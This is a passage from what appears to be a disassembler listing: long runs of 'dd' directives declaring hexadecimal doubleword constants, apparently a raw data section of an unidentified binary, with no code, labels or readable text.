		dd 0D003CDD6h, 6A00E464h, 77DF58C4h, 1FF63FA2h,	8091621Fh
		dd 0B11EEC39h, 0C58F3BCh, 7780BCAh, 0F4870063h,	2C4ABAh
		dd 886F883h, 0CA62C1D6h, 0FC957703h, 0F08BD235h, 1D0105E7h
		dd 0C3A33174h, 3994DAEDh, 575DD797h, 2EA5C208h,	10CCBE0h
		dd 10C46B1Dh, 14C83F02h, 0AA34C0F5h, 0FC1C0221h, 0C6E92046h
		dd 828F584h, 0FE30002Ch, 46743423h, 3CA83800h, 1A40518Fh
		dd 35441FA2h, 0B4098F12h, 0BB7374E0h, 0DE005020h, 11C2FB0Dh
		dd 5B5458h, 2C7B1BEBh, 48C481D8h, 2879BD00h, 7FC8FCCBh
		dd 8B1C09CCh, 0DDD402h,	803FB9B4h, 88FC31h, 86E0B54h, 0EA7585C1h
		dd 0D16AFE00h, 24483266h, 0E27F00E7h, 15FF02ECh, 42756338h
		dd 741F1A7Ah, 840111DCh, 0E4BAC766h, 1E90ECh, 0FF5014E3h
		dd 0C1E0166Fh, 3205C000h, 49420902h, 7DF60075h,	0F1FF1B0Eh
		dd 0C01F8330h, 0D2C00A80h, 0E3672674h, 21230054h, 0DB310353h
		dd 302F1A8Ah, 16DD4C3h,	332F6225h, 0AF1870FBh, 5F5CC600h
		dd 305BEB29h, 82960136h, 7E908173h, 3B8ECE3h, 3C01AF98h
		dd 0C6BFC241h, 7DC06BCh, 9C70038h, 0CC5C105h, 1717E29h
		dd 87C0CC3Bh, 0CD410D80h, 7C10F60h, 0CE810ECFh,	0AC30E40h
		dd 0CB90CA87h, 11E0B80h, 9DDC0C9h, 0C84108C7h, 18F7D8F7h
		dd 0D9671947h, 0DBC11B00h, 0DA1C2881h, 21E67EBh, 0DF47DEh
		dd 0C0DD011Fh, 71881D5Ch, 1DC4138h, 81D4C114h, 15C040D5h
		dd 0C0D70001h, 41168017h, 0D2E4D678h, 13EC12E8h, 2D37000h
		dd 81D1C111h, 0E0400CD0h, 309AF05Fh, 0F141F5A0h, 0C13033E0h
		dd 40F28AF3h, 361E3932h, 0F738F63Ah, 0F5013702h, 340135C0h
		dd 3CC0F441h, 81FC10C1h, 13D04FDh, 2083C0FFh, 0FE8A393Eh
		dd 3A3BFA3Ah, 0FB703B00h, 0F9C13901h, 40F8810Eh, 8128CE38h
		dd 41E677D9h, 0EBC829FDh, 802B07C0h, 25EAE12Ah,	1F0FAEEEh
		dd 0C0EF0F2Fh, 0ED0BC12Dh, 78EC6381h, 24DBE456h, 41259A00h
		dd 12713E5h, 0E6810084h, 22C12640h, 0E10AF631h,	0E723E0E3h
		dd 21C0033Bh, 0D7412080h, 60F7A0D7h, 0A1D761B7h, 0EF0063E5h
		dd 40A281A3h, 97762h, 0A787A629h, 0A5016780h, 64DC6581h
		dd 0EA47041h, 81ACC16Ch, 6D40AD00h, 0C001AF01h,	6E1E806Fh
		dd 0AAD1AE41h, 6BE06AD9h, 0AB701Ch, 81A9C169h, 687040A8h
		dd 0B8027867h, 7900B947h, 14C0BB01h, 0AA7A807Bh, 0BEBFBA3Fh
		dd 7F0E7EBBh, 7D00BF70h, 0BC81BDC1h, 0DE7C4030h, 2674C0B4h
		dd 3BE17580h, 0B7CE7730h, 403BB681h, 87720E76h,	80B340B2h
		dd 81B10173h, 4170DC71h, 5010B070h, 910090C1h, 93015140h
		dd 528053C0h, 76927441h, 1C567896h, 1971C57h, 8195C155h
		dd 54CD4094h, 0C0019C01h, 415D805Ch, 5FE49D70h,	819F07C1h
		dd 615E409Eh, 0C89AE15Ah, 5B60E09Bh, 59C099BEh,	41581F80h
		dd 0DD88DF98h, 9F491D48h, 0CE4B9889h, 8A1D818Bh, 4E874A40h
		dd 8F208E87h, 40014F80h, 4CEE4D8Dh, 88C4138h, 0B84C144h
		dd 0B1814085h, 8747C087h, 864146CEh, 42678247h,	831C4380h
		dd 0C19C003Dh, 38EC6681h, 7C07A8DBh, 0E389520Fh, 9CFCE410h
		dd 0C158388Bh, 104359Dh, 899D505Dh, 0DFA03016h,	0C21E927Ch
		dd 204099B2h
		dd 904210Ah, 5F531D0Eh,	0A20FC0C8h, 36E0882Ch, 5B013B18h
		dd 5ADC3Eh, 0C8E36E59h,	410EA582h, 3446161Dh, 3E0EACD8h
		dd 3EE42h, 2FE83D73h, 0A32827FEh, 7EAFEA16h, 0BAD91Fh
		dd 76D9C716h, 31EC13h, 1422C3EEh, 0C80C2038h, 16EE8C98h
		dd 0B3E41000h, 0F4154CF0h, 30F64Bh, 0A101B247h,	0E8217061h
		dd 6E1BBB1Eh, 0D63A9680h, 63CF2Ch, 56FF3083h, 0AD0F4B04h
		dd 6636E900h, 0E828141Ah, 5E1E00EBh, 0D060EEC6h, 51005652h
		dd 8EBAFC02h, 9C3B24h, 4D17C877h, 30AC0B0Ch, 0F5B0C200h
		dd 6738B82h, 9A8C0060h,	0C1A707F3h, 7503C8FEh, 0C9094981h
		dd 0DF6A9AD7h, 647FF8E0h, 69D64400h, 0FF9C181Fh, 75500079h
		dd 0EE10595Dh, 0AC074514h, 2FA83D05h, 25447EF0h, 4F61015Eh
		dd 0C86FF488h, 0FC0680F8h, 1F75F24Dh, 0CCD000D5h, 3B67AC55h
		dd 0A6007306h, 16C60FFh, 0E6E82B70h, 467B00D0h,	570CF8C9h
		dd 72075002h, 8DB38615h, 6FE82730h, 0EA42588Fh,	65315700h
		dd 0DB85D873h, 110076FCh, 0D13BCC5Eh, 2ED25274h, 0E77D6h
		dd 758D5713h, 0EB0002AEh, 1904B998h, 95F95Fh, 6A7A1E46h
		dd 0AE1F42B0h, 3D01C978h, 47CB80DFh, 76D0A201h,	2516001Dh
		dd 0C0FEB005h, 8C0E5567h, 0C0AA9854h, 5A38CAE9h, 8B28031Dh
		dd 0D3CCA396h, 29A9B388h, 80EC0C39h, 1E202E6Dh,	0E8D5F8h
		dd 99FFD271h, 88B83B75h, 50EAC702h, 0E37E5FFEh,	42588802h
		dd 0BD41006Ch, 2A3D7145h, 200DEE2h, 23D6F7F3h, 275DF2h
		dd 3920B22h, 767E1C6h, 40C3D500h, 0C28104FFh, 0D7720095h
		dd 0F8F1341Bh, 0AF00A438h, 0D339D05Bh, 7F9475C1h, 4D2E0390h
		dd 5C258908h, 71F246F0h, 0A5F34B00h, 0CE398E91h, 112E00C1h
		dd 82F7CAABh, 0C3008130h, 65C9C455h, 0EF039F1h,	0CFF9BAB0h
		dd 0F1E7DEC7h, 0D8D95616h, 5071025h, 6F4AC15Ch,	3A144143h
		dd 0F01EBACAh, 18A886F7h, 0B33C4E82h, 1C0374A5h, 0AC25AE12h
		dd 2063C72Eh, 0A4102005h, 950F24EEh, 0FD299D71h, 0AB042800h
		dd 0FF4B9689h, 0C89BEF71h, 30B3718Fh, 10878021h, 52801E34h
		dd 938013Ah, 97791257h,	0F3C10E0h, 9472B84Ah, 0DE041DFDh
		dd 8A6A0005h, 0FA9553F2h, 448C64DEh, 1F22A618h,	8FA5F163h
		dd 9C362F9h, 92072C11h,	0A9F35C88h, 0E858FBD3h,	0C3E1840Eh
		dd 2856901Ah, 0C3A4F8F0h, 141EEB67h, 2305EAF3h,	47914EDAh
		dd 40443C20h, 0CA106141h, 86164839h, 524A1CEh, 6F315314h
		dd 20C897Ah, 48202523h,	0C3001CBCh, 0E9880534h,	43AD0677h
		dd 4108A28Ch, 811C0D44h, 2301206h, 0C901FF64h, 90E04D09h
		dd 33F200F7h, 0F350F172h, 84000469h, 0B22A2041h, 296EECh
		dd 1263F04Ah, 0AAB0740Bh, 0B9E1C91Fh, 6B002812h, 38201042h
		dd 0D6591F95h, 0A1880336h, 13B01757h, 0CA7EAC4Ah, 1003A2F0h
		dd 0BF925509h, 0BAAAC1B4h, 0AD3F90BBh, 2C2864FEh, 84A403A9h
		dd 9D6A1F1Dh, 0BD70D95Ah, 0C2D9093h, 18598832h,	90067D24h
		dd 713F8CE3h, 3044802Bh, 6625AB12h, 0C83CFE68h,	8905B4Bh
		dd 0A5185020h, 4576D4C4h, 0BCB0424h, 0C1F15ECAh, 708806A1h
		dd 3A3D56ABh, 313F46h, 165BF362h, 1E7F740Ah, 5F2FC8AAh
		dd 0F08E80D9h, 110F5D42h, 1C041433h, 0F2D4D324h, 5F9C808Dh
		dd 63E61559h, 78189C92h, 0D230CCAh, 8921BDAFh, 0E2F89502h
		dd 12E6C304h, 0B8F9BCF7h, 0EB51F0B4h, 0C43E2B7Fh, 25AA8C3Ch
		dd 80184AE0h, 3488D544h, 0CAA8204Ah, 7F2E148h, 57BEA22Ah
		dd 54C221F9h, 0F1FC4AB3h, 89B0C308h, 91FC5EA8h,	9E9D51E0h
		dd 1804168h, 4A3CB06h, 84E07A9h, 500C56E0h, 0F4B8745Dh
		dd 430D6800h, 0D0388817h, 7685EA14h, 0DCEE0044h, 0C91621C0h
		dd 0FF7C4674h, 3EEA5E2Eh, 1C1F700h, 741CD9Eh, 0D1048A49h
		dd 300A7332h, 3BF90FC3h, 3CE9E827h, 4002D907h, 66D00D18h
		dd 74048B1Dh, 1E331C4Eh, 80899F4Ah, 83A52E4Fh, 203E0C66h
		dd 8A61808Eh, 0F2EB8F1Ch, 0EE881E45h, 44470399h, 9CF0E169h
		dd 483AA63Bh, 0A9218057h, 0B0683CE4h, 647585h, 0B80A7320h
		dd 55357469h, 0C305E901h, 0B448F87Eh, 47CCEC40h, 0A95A00C5h
		dd 9E159204h, 8B308D5Bh, 123BB222h, 95D300BCh, 5083440Dh
		dd 0FE03380Fh, 17045257h, 8908A314h, 0F7F8F070h, 119A00CAh
		dd 275C08Bh, 15392B94h,	9E059CA9h, 0FE081380h, 749CB254h
		dd 61800E1h, 2F23B459h,	0FA03A25Ch, 6445A88Bh, 71C59088h
		dd 804D01C3h, 8F26A69h,	172DE4D3h, 5D277005h, 0F1ACBCB4h
		dd 2B157300h, 0CBF956FBh, 0A4E37A00h, 1C071B12h, 0DE98004Eh
		dd 0C8EB722Ah, 7300CF26h, 0D0AC795Eh, 0F7D51A2h, 1AA42BDBh
		dd 19582163h, 60E4D7D1h, 17039156h, 4FA9A276h, 0F85FC30Bh
		dd 788AE7Eh, 0D1BE5355h, 1BEC80E8h, 5E005B2Fh, 0E2F77208h
		dd 1E5FDC8h, 5181AD1Fh,	6132B9C6h, 0F18CC8C0h, 36F02200h
		dd 0D01931BBh, 0F56D0EF8h, 50C18624h, 0E4F49A52h, 5600F203h
		dd 9636641h, 1D4B9085h,	9DBFFB83h, 948F00ACh, 0FA71EA55h
		dd 0F0F27A00h, 7B9B1028h, 14030F3Bh, 0AE611872h, 0CC51B375h
		dd 1002372Ch, 0F3F0344Fh, 0FEE340A6h, 89F400E3h, 2EBF804h
		dd 0C800C031h, 0BF841090h, 0C970F1h, 3C7FB12Bh,	1A961130h
		dd 41D24124h, 3DA5C100h, 7F349455h, 36640043h, 0F7C90F4h
		dd 1AFC54B6h, 4B0E9490h, 0C0F9D101h, 7C5D81C7h,	4CD701E2h
		dd 8DF42F65h, 0DFCBFCFEh, 0D54F850Fh, 0EB4BC0FFh, 1EB8B657h
		dd 80C69D6Bh, 0F4A74D1Dh, 91005ADCh, 580BC98Ah,	7402320h
		dd 151AD042h, 3DEB6013h, 1B04E57Ch, 8D78384Ah, 54704D87h
		dd 70486443h, 0EAD13F07h, 7CD28580h, 0B58AFA12h, 750B7800h
		dd 881E1C01h, 0E800318h, 4A02C083h, 91EF51E0h, 60BD3A03h
		dd 0D04BFCC8h, 3D49B13h, 6A2AC22h, 8DB1FDB4h, 0DA8BE4C0h
		dd 0F41246EEh, 0DF013926h, 30A58559h, 0C428C1EFh, 98C017D8h
		dd 8E02007Ch, 6854A118h, 0AC9083F6h, 85000F79h,	9541015Fh
		dd 39FD3B0h, 1913CC45h,	0A2900D66h, 4207D55Ch, 1A6CFD9Dh
		dd 68D103F0h, 0C0322E24h, 0C7C500EFh, 1F1EB5FFh, 1764DB00h
		dd 5A8C5452h, 0E5A400A8h, 34FB1056h, 0D7008209h, 85890147h
		dd 7598ABCh, 2F06BD83h,	91590FEh, 8B005184h, 1CEEAA41h
		dd 803108h, 9FA6C721h, 7C86C2FFh, 9715C800h, 0B80D55F9h
		dd 2FB90070h, 3E64B5E2h, 20048D0h, 27DC14B2h, 44B820h
		dd 50143D4h, 0B566281Bh, 830F3D05h, 0C1BE1CC6h,	8E431330h
		dd 0A03C6BC4h, 50887281h, 1F2F010Ch, 3916F76Ah,	8C8F878h
		dd 39A0200h, 80B96019h,	0C1FE00E2h, 0CAB1DFE7h,	440099A0h
		dd 35062005h, 3C3438Dh,	48777EB8h, 2C991F68h, 80CD4A5h
		dd 40D05900h, 0D250C653h, 0FD8A3AE7h, 0F6BF2780h, 0E0B41B4h
		dd 0E1230101h, 151DC384h, 7CF88F8h, 0B1E9EDA4h,	810FF9EEh
		dd 0D77C6880h, 0E8001748h, 0FD19E1F2h, 1560A1Dh, 463576DAh
		dd 0DC2A5420h, 250310B2h, 7475F8Bh, 0F156E06Ah,	3AC07788h
		dd 7FBD14Ah, 956EEB62h,	9D8B50CEh, 83184787h, 14D010F0h
		dd 0D4D63C97h, 0B0FE880h, 53D23E01h, 8A71CD00h,	0B78E13B9h
		dd 26100027h, 164AAB95h, 63EED84Eh, 0EC835707h,	89D1673Dh
		dd 0B5609940h, 0F27B0009h, 8435D337h, 49008FAEh, 0EC5EDD2Fh
		dd 2130879h, 982E8B5Ch,	0A5606353h, 0CC03A869h,	28853AF3h
		dd 435AE020h, 724000B8h, 58E14BECh, 0E244D2Ch, 56004441h
		dd 5357AED6h, 0D83900FAh
		dd 68518376h, 0CA00AD3Eh, 1E15587Dh, 23AC3h, 0A0149574h
		dd 637C0CACh, 0F0444007h, 805973BFh, 114BD920h,	0EFE3A69h
		dd 552D098Eh, 78FF3C3Eh, 23725C21h, 9A0AFF0Eh, 0EB50DA40h
		dd 591FB525h, 6F00794Ah, 50CE8EDh, 7112F675h, 784D00F8h
		dd 7CA85DF0h, 1F1345E1h, 260E7D0Eh, 4254C04Ch, 0EA9768h
		dd 5DEEE456h, 523CA546h, 4CC75700h, 8DF3C959h, 0BBF60054h
		dd 40E06BBAh, 0BF0B3CD5h, 0B59F9Ah, 44CE4653h, 6BF300B7h
		dd 0A2EEF47Bh, 2400D23Ch, 705C9D64h, 42C0B4h, 0E4534AFEh
		dd 8D6DD0AAh, 0D700C8FCh, 9772EF0Dh, 8FE8C3h, 98E0138h
		dd 2C03C766h, 43C2830Fh, 7F084106h, 3AD08107h, 0CCB00F0h
		dd 0E2EACBFh, 2014510h,	2D4C6A30h, 0B09FC32Bh, 132C0732h
		dd 121CF018h, 11C1D08h,	80B91E80h, 8B0EC020h, 31473h, 0EE930C69h
		dd 0F29FEDAh, 2C6EE000h, 8C046865h, 43C43EB5h, 20748680h
		dd 80401C93h, 758D3803h, 0F9601317h, 2870A203h,	53620B72h
		dd 0CC80C214h, 55B39296h, 4A00DB79h, 541825BCh,	852120h
		dd 0A542F4ADh, 0DE973E16h, 3441331Fh, 2B1A8179h, 85240F4Ch
		dd 1D453E9h, 0C9E7A06Fh, 0C2C40709h, 0D021E365h, 0FACF4F94h
		dd 127113Ch, 0BD47B85Bh, 0EC85422h, 4CBE00B0h, 6303E179h
		dd 443D6C61h, 65768072h, 0EC749530h, 3A430E50h,	75A0CCB4h
		dd 6C118721h, 1D7CA13Bh, 9C80890Ah, 0C58B730h, 87D4009Fh
		dd 0DB45C6E1h, 100009BFh, 404D8D43h, 50DA1463h,	0D9B45Ch
		dd 74C3FB3Ah, 0E9870CBEh, 0F1044F98h, 63DE9515h, 0CCC0F2C7h
		dd 75804CFEh, 755A00F3h, 0E7F9DF5Fh, 550025DDh,	450F43Bh
		dd 1F84F335h, 336F42h, 9F90E82Eh, 0CC00E446h, 0DC09E03Fh
		dd 1F41F1h, 17122211h, 870D072Bh, 0AF0F8000h, 9CADC75h
		dd 0B8A02E0h, 3EF708BAh, 0EC55D660h, 0CA6C51Eh,	89F8F3CAh
		dd 0D9B47C01h, 50E46E53h, 232A0208h, 28877141h,	3B83FC80h
		dd 76B8D12Eh, 0E10A300h, 0DD114178h, 0B66E0003h, 72040C28h
		dd 8A7B1812h, 3A3901F2h, 0E758250h, 41020742h, 78E95303h
		dd 1CCBC4h, 522249FFh, 85BABE45h, 0A2315D00h, 0A36F5853h
		dd 0FFC50F11h, 88E0C733h, 5A65372Bh, 0FE2A8200h, 0C0B70F02h
		dd 0F84D0067h, 9A72F9B5h, 8F076D17h, 0E78BAAFDh, 2ABF0370h
		dd 311600CFh, 58633F23h, 6DF6D761h, 0FC55C000h,	8D95FA2Ch
		dd 91BD072Ah, 0B0EA4C39h, 5F0B4D93h, 1D7D8F00h,	909C1FBCh
		dd 0AEAD0141h, 0C55880D6h, 70182023h, 1DCCA13Bh, 5280880Ah
		dd 0EC2CA7D4h, 54A3022Dh, 29B63D8Dh, 0A51A0560h, 0EB97E48h
		dd 0E0F3CB9Ch, 440C2A20h, 5089077Ch, 51100DD1h,	61E91977h
		dd 0A6C3202Fh, 1500E8F4h, 28799020h, 2D058Bh, 1CDB313Fh
		dd 0DAC043C1h, 74D80100h, 0E31DD112h, 0C0E0072h, 0F61485E1h
		dd 0E42CC8FCh, 7300CBDAh, 785152F2h, 0FB600023h, 0C131A00Dh
		dd 20E14E1h, 54B98Dh, 0AEF3FD4Fh, 790B8FCh, 1CA483ACh
		dd 0E9ABA204h, 70816641h, 4717BA62h, 0C50040A7h, 27A09184h
		dd 24F50774h, 0F8FA80h,	0FC1390Dh, 920060FEh, 1D495057h
		dd 8CFE89h, 0EE475DDBh,	159862B8h, 81268D7Dh, 1612E344h
		dd 0AE80841Fh, 1418F51Bh, 42933A84h, 0BB00753Bh, 7378E5A7h
		dd 2300A56Ah, 3E797769h, 8D760Ah, 56423514h, 0F429DBB2h
		dd 5C0038EEh, 0EA72A5EBh, 0E2D14B0h, 39FC5A61h,	905C7C0h
		dd 93E47648h, 458C3C00h, 94BAEC3Eh, 75F500C5h, 9198548Bh
		dd 0C10074B1h, 3A77EF56h, 0A9D319h, 0EBE2BB0Dh,	4910434Fh
		dd 0DD07901Fh, 75623000h, 26961Bh, 0E9855BA5h, 103D154Ch
		dd 0A316A80Fh, 0B9A9E7A7h, 147D8BD0h, 5FB60028h, 8F805E5Bh
		dd 173936E9h, 95380C9h,	480F34C3h, 4CAE4C41h, 7794050Ch
		dd 830011BCh, 0C958F631h, 0D9B81Ch, 240A7EFFh, 0F70545B5h
		dd 0C201E300h, 0DF8DD284h, 35460E1Ch, 89800615h, 40E3E2D7h
		dd 14012A07h, 3C203B11h, 1E4199F0h, 0C08944BEh,	1525F7FEh
		dd 0C3006978h, 3519010h, 0B823A905h, 495A038Eh,	7180A5C8h
		dd 790407E0h, 93893200h, 46B0095Ch, 82DC1FE2h, 0A314C084h
		dd 0BA1C1318h, 97920400h, 0E8BF6793h, 0CCA006Fh, 0B2FF9415h
		dd 3D008BC5h, 0D43B060Eh, 7D485Ch, 82B13E2Ch, 1A72D939h
		dd 8D6C9000h, 9149E534h, 3C75DDh, 0A47DA6F8h, 460FA712h
		dd 0E1541A00h, 7C8848A5h, 77190094h, 4CEFEA99h,	0FF073534h
		dd 4D21832h, 0A8C35B40h, 0AA4A3D3Eh, 0DDF43080h, 0F640616Eh
		dd 0FA81F800h, 4BBF4F0Ah, 878A00D1h, 0FDA68846h, 0F62E410Ch
		dd 0BB0EF43Dh, 27902023h, 3AF8F06Ah, 190096F9h,	0D5D20A0Ch
		dd 100E954h, 0D3445E9Fh, 0D8EE02h, 9B750852h, 48711CDDh
		dd 2AC31000h, 3B558F8h,	33C812A0h, 8FF05DBh, 57A9019Fh
		dd 0FC2DE241h, 0C174D0D2h, 8A49C200h, 8EF83BCAh, 73200FBh
		dd 87D5355Ah, 9D0088F1h, 0C8D0E44Ch, 184351C1h,	66085D3Bh
		dd 42001D40h, 0EFD6934Eh, 1F90ABDCh, 40106A12h,	3075448Dh
		dd 0AC09B93Fh, 9109B5h,	0F5EF123Eh, 8BF61EC4h, 0DD807E06h
		dd 0BE11F9ECh, 0CA2C4128h, 803FF28Dh, 0E0EB4AD6h, 5BF782h
		dd 0F8C7448Ch, 0D0FB5FEFh, 4A8A330Fh, 95F58013h, 3FF0DA2h
		dd 0F72765C5h, 56D0B614h, 85395917h, 0CB4800EAh, 0D947EBCh
		dd 158A0582h, 81615E4Ch, 0F00F1032h, 35170BC3h,	700F3C5h
		dd 0E37F02BAh, 0B1E40074h, 0C8F26FA9h, 9C00A892h, 0F385E83Eh
		dd 127B81h, 8B414C87h, 0D03D1880h, 0D6732600h, 830FDFA7h
		dd 124300E5h, 60890C24h, 0DF901A90h, 59EF1000h,	5D88A03h
		dd 352900CBh, 0BA37DCD2h, 7200DAC1h, 22124E1Fh,	1772110h
		dd 0C6F7690Dh, 402BACCEh, 0CB2519B0h, 1F947500h, 0DD1802F3h
		dd 5E1D0064h, 913BA40h,	0E800CEFAh, 0F535AE4Ah,	53CCA9h
		dd 0D9D24EFFh, 897F4801h, 16C90A07h, 64C158FCh,	0E6600E19h
		dd 2833B32h, 3E92042Ch,	3B66A080h, 7127506h, 76C98500h
		dd 45BE8B20h, 0EEFC2C5Dh, 814000Bh, 21612EBh, 0C00017Ah
		dd 0D400EC0h, 355449h, 41CE751Bh, 8289AC08h, 0EAA4F800h
		dd 4790C362h, 142D00DCh, 3EE091FBh, 1500EE21h, 0EC2906C0h
		dd 0F01F84h, 1DC8BD4Ch,	0FC485FB9h, 0EFE06B02h,	0F58E412Dh
		dd 344F9B40h, 0D029EDF5h, 0C50079B7h, 4ACCBD43h, 4FB67h
		dd 0A0380C4h, 8B87558Dh, 351DD77Dh, 49001EB5h, 1AB940C6h
		dd 19FA00C4h, 1624DEC0h, 0B100DF77h, 9B7A8528h,	70CAA1Dh
		dd 899E2099h, 1A7FB0FBh, 24008E01h, 7027CA11h, 0FCDFF045h
		dd 320D0598h, 802EE2E9h, 9B89110Fh, 50003E71h, 25F5E86Fh
		dd 1A6DC9h, 2DAF884Ah, 0BD830685h, 9847E40Fh, 0EB2BA108h
		dd 0B02E7E1Ch, 7500F25Dh, 43C61611h, 28FB05h, 0C134E94Ah
		dd 0A282701Dh, 1C8E9507h, 857214C0h, 0D7C0C0D2h, 0B4481FA0h
		dd 5C80FAEAh, 0F78023Ah, 0F7008537h, 0B26BBA13h, 710D49Ch
		dd 80792075h, 1757D054h, 11001993h, 0D2515303h,	0A04D14h
		dd 0F78B4781h, 0D0AA4256h, 9EFFB300h, 0E8FCEF51h, 136100D3h
		dd 7F468A3Ch, 88050920h, 699D7F9h, 87578580h, 30871C2h
		dd 0A2B45005h, 604C6A8Eh, 4DE82C66h, 49271B00h,	0C0223Dh
		dd 0BAE12A76h, 0AA922E38h, 7B430700h, 0EE811EE0h, 971400A2h
		dd 754F8568h, 0A91328E2h, 6100CA21h, 951ABB92h,	610D0705h
		dd 50201253h, 915189D4h, 80D00E3Ch, 3C4F9BE8h, 1F7F55h
		dd 522228DCh
		dd 0A11392F0h, 0E6E55800h, 309419D1h, 21F53F59h, 0D740A00h
		dd 0ADD73C84h, 4300EC90h, 564B5E2Ah, 1C212C30h,	0DE1D5960h
		dd 40B51F5Bh, 792A4D6h,	2C037389h, 852E56DDh, 352DA0FCh
		dd 6B6C1EE9h, 0C0655D64h, 991257C2h, 0AB735B30h, 6800C4E8h
		dd 164E912Dh, 0AF6CB8h,	0C20B9557h, 0C050C194h,	2DAD2201h
		dd 49AC5C90h, 4021FD40h, 6C7002Ch, 2811D6D4h, 9B03CB42h
		dd 22431AFDh, 7AD998AAh, 4330093h, 3C60ABCh, 0C9009901h
		dd 6F8B29DEh, 75B9A609h, 116500A5h, 5B73A488h, 1AE626C7h
		dd 535D7401h, 41243EF9h, 0D794E8h, 8DD38549h, 0E8CB3122h
		dd 7B80BE1Eh, 4C7E04C0h, 1FBAE619h, 402F2BE1h, 0F62E284Ah
		dd 46FE2D42h, 52D6EE00h, 92B6E74Fh, 2AB3008Dh, 1CB95D65h
		dd 2E1F29C4h, 80E7438h,	4254C730h, 17AF9770h, 3F59FA90h
		dd 0EC00F7F0h, 0CF806A9h, 0E4008AF4h, 89FC7E5Fh, 0F100F41h
		dd 53A22F3Eh, 3B2C9FA0h, 8000550Eh, 0A9F752B9h,	77138B2Ah
		dd 1AA80796h, 0B008F49Fh, 4A95651Dh, 54855600h,	5E2F412Eh
		dd 6570E776h, 0AA810057h, 80744965h, 0BE0207F0h, 0EB0F0263h
		dd 0B24DE005h, 7F17F8C1h, 0EC880E11h, 29604276h, 5245CC6h
		dd 55455900h, 0EB3125B2h, 93AF00CAh, 5C7D1404h,	0E1002CBCh
		dd 100E2F71h, 77F1799Ch, 9A0A0078h, 0EC6EDF3Eh,	52000B44h
		dd 7367650Eh, 0EE9320h,	0D3815A84h, 9B64C883h, 71BF1800h
		dd 17514794h, 93F20052h, 31D0811Fh, 0F80039D2h,	41D7408h
		dd 5275F7h, 9A16B192h, 730A8BB0h, 806D400h, 95419FE8h
		dd 0B8495F01h, 0B87E007Eh, 9451A25Ch, 740C0018h, 76453AF4h
		dd 6F3ED5EFh, 0BD200735h, 95F00A9Eh, 3CE25EAh, 0DB481408h
		dd 0F7A0D81Eh, 3D00A5D0h, 8A9018A9h, 7BC8FE04h,	6CF100F6h
		dd 59AD14B9h, 107D865h,	0C7D8051h, 0BBF27F50h, 5AEB0039h
		dd 1FE81A03h, 0C8005220h, 0E224D455h, 0F45148Ah, 4D485D37h
		dd 0D03BA520h, 46BE5105h, 0D800912Eh, 46048D21h, 0AA9E00C0h
		dd 696FB20h, 0D900AB10h, 0FAEBFC4h, 98177504h, 95700023h
		dd 16F2B8D8h, 0BE005CD4h, 0F8573ECEh, 54964h, 0B814922Ah
		dd 6741526h, 5869A703h,	0D8D1D7C2h, 13F681Ch, 3323E1FDh
		dd 0D8458850h, 10FA03B2h, 48A05D3Dh, 7ED20333h,	0C0800F40h
		dd 704CA3Eh, 5E0E8803h,	304AC7C3h, 0C40C51F1h, 0B2262F07h
		dd 3A701B39h, 7A66320Eh, 2E467588h, 0E5F45Ah, 5DD05110h
		dd 0E800F83Eh, 0D825996Fh, 730BEE89h, 4FAE0h, 0C822B7Ch
		dd 265FAD56h, 2ACBC907h, 5B7046FBh, 16BD1A21h, 0D0A58h
		dd 1E8CED37h, 7800A06Bh, 0FF21CC43h, 274D10h, 60DEDF75h
		dd 7DF9B1E7h, 0A7B36400h, 0EB2AC154h, 24A90707h, 57EA5953h
		dd 0F57A501Fh, 84002065h, 2C413249h, 7944A0h, 70B8220Ah
		dd 62FB53BDh, 190507Fh,	3300A0FCh, 13156A8h, 200BE5h, 5C15D524h
		dd 6051F8C6h, 0DB040801h, 2BAB4533h, 59C29E4h, 1D1CF527h
		dd 10F28019h, 13001109h, 87D18512h, 0EE881848h,	44012C1Ch
		dd 57003F59h, 0D5721571h, 2D00B479h, 0DF5AD4F6h, 44CBD6Dh
		dd 503089D9h, 338C8004h, 0A00CFD2h, 8D88EF18h, 219C11h
		dd 0C36847C6h, 0E27B7880h, 0B055500h, 22CA2EBAh, 60570044h
		dd 4B011029h, 2801FA5Fh, 16BE5250h, 4C4CB24h, 0D58300B3h
		dd 0A981FBEBh, 9100187Ah, 235060Ch, 0E2A876h, 5A402D7Ch
		dd 52643155h, 83762AE4h, 0A6187800h, 14D98906h,	0FCCE78FFh
		dd 5A540E40h, 1CAFE4DDh, 0A42BFAC3h, 830C1AA0h,	7430682Eh
		dd 14020800h, 0FE6A24B2h, 3F40F60h, 0AA0129B0h,	0CED8AC10h
		dd 808A3EC0h, 0AF49741Fh, 0DCE82B00h, 0E2F8B2h,	8DFC864Ah
		dd 0D65048A4h, 7F000D7Eh, 0C52F4423h, 7380C96Dh, 90D300A8h
		dd 6774292Eh, 32003BD9h, 1120C61h, 2036A5Bh, 0AB574555h
		dd 946330C3h, 2D9935EBh, 9014D05Eh, 1C8ACD1Fh, 66B000B9h
		dd 0CE81DCAAh, 0C2D80088h, 0C457016Ah, 430060C3h, 0F87D89A3h
		dd 2F6FFABh, 996625A7h,	4ADEEF7Eh, 3302C900h, 10CE307h
		dd 1C8D180Bh, 0D8C26938h, 9B1E825Ch, 0EC00428Ah, 8BF697C8h
		dd 0ABBC0229h, 519ACAA1h, 864BC640h, 5045480Ah,	500B91Fh
		dd 44F0E83Fh, 34CE0095h, 7DDB1EC3h, 0FE033E09h,	1058E665h
		dd 0E7C0F8CDh, 0EA310066h, 110DA5C3h, 100A229h,	0DC1C5E06h
		dd 86957Eh, 70FEF684h, 80905214h, 0D821E500h, 7D05253Bh
		dd 4280E2Eh, 0A54261A6h, 0D0609FA0h, 1C002DE3h,	715FC831h
		dd 934335h, 8D092280h, 89A59644h, 6610B900h, 148EBB8h
		dd 55500018h, 0C395CCCFh, 8300021Fh, 20CD0C10h,	0B0067Dh
		dd 6CE8AAF2h, 0F312C879h, 80037BFEh, 363E2E26h,	6A65D064h
		dd 0CD770006h, 234D836Dh, 9DB0145Bh, 15A65E14h,	0A39400D5h
		dd 0BEA09A95h, 74EB0D3h, 3F8624FEh, 0E72230D2h,	420F01B7h
		dd 56A57h, 0F2088AECh, 3B580051h, 0C24AE5FDh, 0A258FCDDh
		dd 452401DBh, 4E776905h, 3491E8h, 0D317DB79h, 0A1C267Ah
		dd 9DC0C100h, 0A6C81DE0h, 0F7070142h, 0D8C3F8C2h, 0FF2FD983h
		dd 10B3D0F0h, 0E801E074h, 601316FFh, 0CF0E6Ah, 2D461C66h
		dd 7C09E381h, 0B6430403h, 0C0C0D3A0h, 0D80108h,	48469466h
